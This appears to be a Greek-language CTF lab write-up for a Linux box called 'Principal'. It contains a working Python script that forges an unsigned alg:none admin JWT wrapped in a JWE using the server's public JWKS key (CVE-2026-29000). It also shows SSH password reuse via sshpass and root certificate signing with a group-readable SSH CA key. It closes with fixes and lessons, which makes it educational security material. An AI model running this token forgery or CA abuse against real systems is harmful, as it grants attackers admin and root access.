Το Principal είναι ένα box Linux που βάζει μπροστά σου μία μοναδική, τακτοποιημένη web εφαρμογή και θέτει ένα ακριβές ερώτημα: πώς επαληθεύει την εμπιστοσύνη. Η εφαρμογή είναι μια υπηρεσία Java χτισμένη πάνω στο framework ασφαλείας pac4j, και το token της συνεδρίας είναι ένα JWE — ένα κρυπτογραφημένο JWT. Αυτή η κρυπτογράφηση είναι πραγματική, και είναι παγίδα: κάνει το token αδιαφανές και μοιάζει με ασφάλεια, αλλά ο server ελέγχει μόνο ότι το token κρυπτογραφήθηκε προς το δημόσιο κλειδί του. Δεν ελέγχει ποτέ ότι το JWT μέσα ήταν όντως υπογεγραμμένο. Το CVE-2026-29000 είναι ακριβώς αυτή η σύγχυση. Επειδή το κλειδί κρυπτογράφησης είναι δημόσιο — δημοσιεύεται κυριολεκτικά σε ένα endpoint JWKS ώστε οι clients να μπορούν να επαληθεύουν tokens — οποιοσδήποτε μπορεί να φτιάξει ένα ανυπόγραφο JWT alg:none που δηλώνει ROLE_ADMIN, να το κρυπτογραφήσει μόνος του, και να το επιστρέψει ως έγκυρη συνεδρία admin. Από το admin dashboard, ένα endpoint API διαρρέει έναν κωδικό SSH σε καθαρό κείμενο· από εκείνον τον χρήστη, η συμμετοχή σε ένα group deployers κάνει αναγνώσιμο το ιδιωτικό κλειδί της αρχής πιστοποίησης SSH (CA) της πλατφόρμας — και ένα ιδιωτικό κλειδί CA που εμπιστεύεται ο sshd είναι ένα μηχάνημα που θα εγγυηθεί για οποιαδήποτε ταυτότητα του ζητήσεις, μαζί και τον root.
χωρίς αυθεντικοποίηση→pac4j JWE sig-confusion (CVE-2026-29000)→πλαστό token ROLE_ADMIN→admin API διαρρέει κωδικό SSH→svc-deploy SSH→ανάγνωση του trusted SSH CA→υπογραφή πιστοποιητικού root→root
Αναγνώριση
Δύο θύρες: SSH στην 22 και μια web εφαρμογή στην 8080. Ο web server είναι ο Jetty, και διαφημίζει το ακριβώς σημαντικό πράγμα κατευθείαν από ένα header απόκρισης — το framework αυθεντικοποίησης και την έκδοσή του:
Το pac4j-jwt 6.0.3 είναι μια συγκεκριμένη, τρέχουσα και ευάλωτη έκδοση. Η σελίδα login φορτώνει ένα μόνο script, το /static/js/app.js, και εκείνο το αρχείο είναι ασυνήθιστα γενναιόδωρο — τεκμηριώνει ολόκληρο τον σχεδιασμό του token σε ένα σχόλιο-κεφαλίδα, προφανώς επειδή οι ίδιες σταθερές του schema πρέπει να ταιριάζουν με τον server:
app.js — ο σχεδιασμός του token, στο πιάτο
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
*
* JWT claims schema:
* sub - username
* role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
* iss - "principal-platform"
* iat - issued at (epoch)
* exp - expiration (epoch)// το token αποθηκεύεται στο sessionStorage και στέλνεται ως Bearer header·// τα /api/users και /api/settings περιορίζονται σε ROLE_ADMIN στην πλευρά του client
Άρα το token είναι ένα αντικείμενο δύο επιπέδων: ένα εσωτερικό JWT (claims + μια υπογραφή RS256) τυλιγμένο μέσα σε έναν φάκελο JWE (RSA-OAEP-256 key wrapping, A128GCM content encryption). Το δημόσιο κλειδί που χρειάζεται και για την «επαλήθευση» του token και — κρίσιμα — για την κρυπτογράφηση ενός νέου, σερβίρεται, χωρίς αυθεντικοποίηση, στο /api/auth/jwks:
Foothold — η κρυπτογράφηση δεν είναι αυθεντικοποίηση (CVE-2026-29000)
Ιδού το ελάττωμα, ξεκάθαρα. Ένα JWE αποδεικνύει ένα πράγμα: ότι όποιος έφτιαξε το token είχε το δημόσιο κλειδί του παραλήπτη. Αυτό δεν είναι μυστικό — είναι δημοσιευμένο. Η κρυπτογράφηση ενός JWT σου δίνει εμπιστευτικότητα (κανείς δεν διαβάζει τα claims εν κινήσει), αλλά δεν λέει τίποτα για το ποιος εξέδωσε τα claims. Η αυθεντικότητα είναι δουλειά της υπογραφής του εσωτερικού JWT, η οποία πρέπει να επαληθεύεται με το κλειδί του εκδότη.
Το CVE-2026-29000 είναι το ότι ο authenticator JWE του pac4j, σε αυτή τη διαμόρφωση, αποκρυπτογραφεί τον εξωτερικό φάκελο και μετά εμπιστεύεται τα claims του εσωτερικού JWT χωρίς να επαληθεύσει την υπογραφή του. Αυτό καταρρέει ολόκληρο τον σχεδιασμό: αφού το κλειδί κρυπτογράφησης είναι δημόσιο, ένας επιτιθέμενος μπορεί να κατασκευάσει το δικό του token από άκρη σε άκρη. Φτιάχνεις ένα εσωτερικό JWT με "alg":"none" και άδεια υπογραφή, θέτεις το role σε ROLE_ADMIN, και μετά το κρυπτογραφείς προς το ίδιο το κλειδί JWKS του server. Ο server το αποκρυπτογραφεί, βλέπει ένα καλοσχηματισμένο JWT που μπορεί να διαβάσει, και ποτέ δεν ρωτά αν ήταν υπογεγραμμένο.
Συγκεκριμένα, με τους όρους του ίδιου του pac4j: ο JwtAuthenticator υποστηρίζει nested tokens — ένα εσωτερικό, RS256-υπογεγραμμένο JWT τυλιγμένο μέσα σε ένα εξωτερικό JWE — και δέχεται ένα EncryptionConfiguration και ένα SignatureConfiguration ως ανεξάρτητες επιλογές. Το Principal ρύθμισε την κρυπτογράφηση αλλά ποτέ δεν επέβαλε την υπογραφή, οπότε μόλις αποκρυπτογραφηθεί το εξωτερικό JWE, ένα εσωτερικό PlainJWT (ένα ανυπόγραφο token) γίνεται δεκτό ως επικυρωμένο. Το kid στο JWKS είναι μάλιστα ονομασμένο enc-key-1 — ο server δημοσιεύει το κλειδί κρυπτογράφησής του εκεί που ένας verifier θα δημοσίευε κανονικά ένα κλειδί υπογραφής, που είναι όλο το tell σε ένα string.
Ο server επικυρώνει την εξωτερική κρυπτογράφηση και σταματά εκεί. Η εσωτερική υπογραφή — το μόνο πράγμα που αποδεικνύει ποιος εξέδωσε τα claims — δεν ελέγχεται ποτέ, οπότε ένας επιτιθέμενος που κατέχει το δημόσιο κλειδί κατέχει το token.
forge.py — ανυπόγραφο εσωτερικό JWT, τυλιγμένο σε JWE προς το δημόσιο κλειδί
$ cat forge.pyimport json, time, base64, urllib.request
from jwcrypto import jwk, jwe
T = "http://<target>:8080"
b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
# 1. τράβα το δημόσιο κλειδί κρυπτογράφησης κατευθείαν από το JWKS
jwks = json.load(urllib.request.urlopen(T + "/api/auth/jwks"))
key = jwk.JWK(**jwks["keys"][0])
# 2. φτιάξε ένα ΑΝΥΠΟΓΡΑΦΟ εσωτερικό JWT (alg:none, άδεια υπογραφή)
now = int(time.time())
hdr = {"alg": "none", "typ": "JWT"}
pl = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform",
"iat": now, "exp": now + 3600}
inner = b64u(json.dumps(hdr).encode()) + "." + b64u(json.dumps(pl).encode()) + "."
# 3. τύλιξέ το σε JWE προς το κλειδί του ίδιου του server — RSA-OAEP-256 + A128GCM
prot = {"alg": "RSA-OAEP-256", "enc": "A128GCM", "kid": "enc-key-1"}
tok = jwe.JWE(inner.encode(), recipient=key, protected=json.dumps(prot))
print(tok.serialize(compact=True))
Γιατί δουλεύει εδώ το alg:none: ο server δεν εκτελεί ποτέ τον έλεγχο υπογραφής, οπότε δεν έχει σημασία τι δηλώνει το εσωτερικό header. Το none είναι απλώς η ελάχιστη προσπάθεια — χωρίς κλειδί, χωρίς βήμα υπογραφής — και περνάει άθικτο επειδή η επαλήθευση που θα το απέρριπτε παραλείφθηκε τελείως. Το δημόσιο κλειδί κάνει όλη τη βαριά δουλειά στην πλευρά της κρυπτογράφησης, που είναι η μόνη πλευρά που ο server πραγματικά επικυρώνει.
Παρουσίασε το πλαστό token ως bearer credential και το admin API ανοίγει. Το /api/dashboard επιβεβαιώνει την ταυτότητα που ο server συμπέρανε από το token μας — admin / ROLE_ADMIN — και το /api/settings είναι εκεί που το box παραδίδει το επόμενο βήμα:
Η διαρροή: ένα endpoint ρυθμίσεων μόνο-για-admin επιστρέφει ένα ζωντανό μυστικό σε καθαρό κείμενο, με ετικέτα encryptionKey. Η τιμή διαβάζεται σαν passphrase ανάπτυξης — και η ίδια απόκριση του /api/settings διαφημίζει ότι η υποδομή χρησιμοποιεί αυθεντικοποίηση με πιστοποιητικά SSH με μια CA κάτω από το /opt/principal/ssh/, ενώ το /api/users εμφανίζει έναν λογαριασμό υπηρεσίας svc-deploy «για αυτοματοποιημένες αναπτύξεις μέσω SSH certificate auth». Δύο μισά της ίδιας υπόδειξης.
Χρήστης — ένας διαρρέων κωδικός, επαναχρησιμοποιημένος για SSH
Το μυστικό που διέρρευσε δεν σχετίζεται καθόλου με την κρυπτογραφία· επαναχρησιμοποιείται ως κωδικός SSH. Δοκιμασμένο (spray) στα usernames που μας έδωσε ήδη η λίστα του /api/users, πετυχαίνει στον λογαριασμό υπηρεσίας ανάπτυξης:
user.txt
$ sshpass -p '<μυστικό που διέρρευσε>' ssh svc-deploy@<target> 'id; cat user.txt'uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
[λογοκριμένο — user flag]
Πρόσεξε το δεύτερο group: deployers. Δεν είναι διακοσμητικό — είναι ολόκληρο το μονοπάτι κλιμάκωσης προνομίων.
Root — ένα ιδιωτικό κλειδί CA που επιτρέπεται να διαβάσεις
Το endpoint ρυθμίσεων έδειξε προς το /opt/principal/ssh/, και το ίδιο του το README εξηγεί τι ζει εκεί: μια RSA αρχή πιστοποίησης (CA) που ο sshd εμπιστεύεται για logins βασισμένα σε πιστοποιητικά. Ο φάκελος ανήκει στο root:deployers και είναι αναγνώσιμος από το group — και ο svc-deploy ανήκει στο deployers:
η CA, αναγνώσιμη μέσω του group deployers
svc-deploy@principal:~$ ls -l /opt/principal/ssh/-rw-r----- 1 root deployers 288 README.txt
-rw-r----- 1 root deployers 3381 ca# ιδιωτικό κλειδί CA — αναγνώσιμο από το group
-rw-r--r-- 1 root deployers 742 ca.pubsvc-deploy@principal:~$ grep -ri trustedusercakeys /etc/ssh//etc/ssh/sshd_config.d/60-principal.conf:TrustedUserCAKeys /opt/principal/ssh/ca.pub
Αυτή η μία οδηγία του sshd είναι το παν. Το TrustedUserCAKeys λέει στον daemon να δέχεται οποιοδήποτε πιστοποιητικό χρήστη υπογεγραμμένο από εκείνη τη CA — το πιστοποιητικό είναι η εξουσιοδότηση. Άρα ένα ιδιωτικό κλειδί CA που μπορείς να διαβάσεις δεν είναι «ένα κλειδί στο μηχάνημα»· είναι η εξουσία να εκδώσεις στον εαυτό σου μια έγκυρη ταυτότητα για οποιονδήποτε λογαριασμό, μαζί και τον root. Δεν υπάρχει exploit να γραφτεί. Απλώς χρησιμοποιείς τη CA όπως χτίστηκε για να χρησιμοποιείται, αλλά για ένα principal που ποτέ δεν προοριζόταν να υπογράψει.
υπόγραψε πιστοποιητικό root, μπες ως root
$ # τράβα κάτω το ιδιωτικό κλειδί CA (αναγνώσιμο ως svc-deploy), υπόγραψε το δικό μας κλειδί για root$ ssh-keygen -t ed25519 -N '' -f rootkey$ ssh-keygen -s ca -I pwn-root -n root -V +2h rootkey.pubSigned user key rootkey-cert.pub: id "pwn-root" serial 0 for root valid ...$ ssh -i rootkey -o CertificateFile=rootkey-cert.pub root@<target> 'id; cat /root/root.txt'uid=0(root) gid=0(root) groups=0(root)
[λογοκριμένο — root flag]
Η λεπτομέρεια του -n root: αυτός ο sshd δεν θέτει AuthorizedPrincipalsFile, οπότε ισχύει ο προεπιλεγμένος κανόνας — η λίστα principals του πιστοποιητικού πρέπει να περιέχει το username εισόδου. Υπόγραψε με -n root ώστε το πιστοποιητικό να είναι έγκυρο για τον λογαριασμό root· παρέλειψέ το και η είσοδος απορρίπτεται παρότι η ίδια η υπογραφή της CA είναι απολύτως έγκυρη. Είναι η διαφορά ανάμεσα σε ένα σωστά-υπογεγραμμένο πιστοποιητικό και σε ένα πιστοποιητικό σωστά-υπογεγραμμένο για τον λογαριασμό που χρησιμοποιείς.
Όλη η αλυσίδα, σε μία οθόνη
σύνοψη
# 1. το header κατονομάζει τον στόχο: X-Powered-By: pac4j-jwt/6.0.3 ; το κλειδί JWKS είναι δημόσιοcurl -s http://<target>:8080/api/auth/jwks# 2. CVE-2026-29000: το JWE αποκρυπτογραφείται αλλά η εσωτερική υπογραφή δεν επαληθεύεται ποτέ# φτιάξε alg:none JWT{role:ROLE_ADMIN}, κρυπτογράφησέ το προς το δημόσιο κλειδί, στείλ' το ως Bearerpython3 forge.py # -> RSA-OAEP-256 + A128GCM JWE# 3. το admin /api/settings διαρρέει μυστικό σε καθαρό κείμενο -> επαναχρήση ως κωδικός SSHsshpass -p '<leaked>' ssh svc-deploy@<target> # user.txt ; group: deployers# 4. το group deployers μπορεί να διαβάσει το ιδιωτικό κλειδί CA του TrustedUserCAKeysssh-keygen -s ca -I x -n root -V +2h rootkey.pubssh -i rootkey -o CertificateFile=rootkey-cert.pub root@<target> # root.txt
Η διόρθωση
Κάθε κρίκος της αλυσίδας έχει μια συγκεκριμένη διόρθωση μιας γραμμής — και είναι ανεξάρτητοι, οπότε άμυνα σε βάθος σημαίνει να διορθώσεις όλους, όχι μόνο το CVE:
Επίβαλε την εσωτερική υπογραφή. Ρύθμισε τον JwtAuthenticator του pac4j με ένα υποχρεωτικό SignatureConfiguration και απόρριψε οποιοδήποτε εσωτερικό PlainJWT / alg:none. Η αποκρυπτογράφηση δεν πρέπει ποτέ να υποκαθιστά την επαλήθευση υπογραφής — απαντούν σε διαφορετικά ερωτήματα (εμπιστευτικότητα vs. αυθεντικότητα). Η αναβάθμιση πέρα από τη διόρθωση του CVE-2026-29000 στο pac4j-jwt κλείνει το μονοπάτι αποδοχής ανυπόγραφων.
Επικύρωσε τα claims, όχι μόνο το wrapper. Έλεγξε iss, exp, και ένα αναμενόμενο audience στην πλευρά του server, ώστε ένα πλαστό token να μην μπορεί απλώς να δηλώνει ROLE_ADMIN για πάντα.
Ποτέ μην επιστρέφεις μυστικό από ένα API. Το /api/settings δεν πρέπει να περιλαμβάνει το encryptionKey — ή οποιοδήποτε credential — στο σώμα της απόκρισής του, για κανέναν ρόλο. Τη στιγμή που μια τιμή περνά σε έναν client, θεώρησέ την διαρρευσμένη.
Κλείδωσε το κλειδί CA στον root. Ένα κλειδί υπογραφής TrustedUserCAKeys είναι ισοδύναμο του root· πρέπει να είναι 0400 root:root, ποτέ 0440 root:deployers. Η αναγνωσιμότητα από group παρέδωσε ολόκληρο το μηχάνημα σε οποιονδήποτε στο deployers.
Μαθήματα
Η κρυπτογράφηση είναι εμπιστευτικότητα, όχι αυθεντικότητα. Ένα JWE αποδεικνύει ότι ο αποστολέας είχε ένα δημόσιο κλειδί — που είναι δημόσιο εξ ορισμού. Δεν λέει τίποτα για το ποιος εξέδωσε τα claims. Η αυθεντικότητα ζει στην εσωτερική υπογραφή, και πρέπει να επαληθεύεται ως δικό της βήμα. Παρέλειψέ το και ένα «κρυπτογραφημένο» token είναι ένα token που μπορεί να γράψει ο καθένας. Αυτό είναι όλο το CVE-2026-29000.
Ένα δημοσιευμένο κλειδί είναι και κλειδί του επιτιθέμενου. Το endpoint JWKS υπάρχει ώστε οι clients να επαληθεύουν tokens, αλλά το ίδιο δημόσιο κλειδί είναι ακριβώς αυτό που χρειάζεσαι για να κρυπτογραφήσεις ένα πλαστό. Το να δημοσιεύεις ένα κλειδί είναι εντάξει· το να βασίζεσαι στην κατοχή ενός δημόσιου κλειδιού σαν να ήταν απόδειξη ταυτότητας δεν είναι.
Τα μυστικά δεν ανήκουν σε μια απόκριση API, ούτε καν σε μία μόνο-για-admin. Εδώ το «μόνο-για-admin» απείχε ένα πλαστό claim — αλλά ακόμη και ένας τέλεια αυθεντικοποιημένος admin δεν πρέπει ποτέ να παίρνει ένα ζωντανό credential σε καθαρό κείμενο. Τη στιγμή που μια τιμή επιστρέφεται σε έναν client, θεώρησέ την διαρρευσμένη.
Ένα ιδιωτικό κλειδί SSH CA είναι μυστικό ισοδύναμο του root. Με το TrustedUserCAKeys, το πιστοποιητικό είναι η εξουσιοδότηση· όποιος μπορεί να διαβάσει το κλειδί CA μπορεί να εκδώσει οποιαδήποτε ταυτότητα δέχεται ο sshd, μαζί και τον root. Πρέπει να προστατεύεται τουλάχιστον όσο τα ίδια τα credentials του root — ένα κλειδί CA αναγνώσιμο από group παραδίδει το μηχάνημα στο group.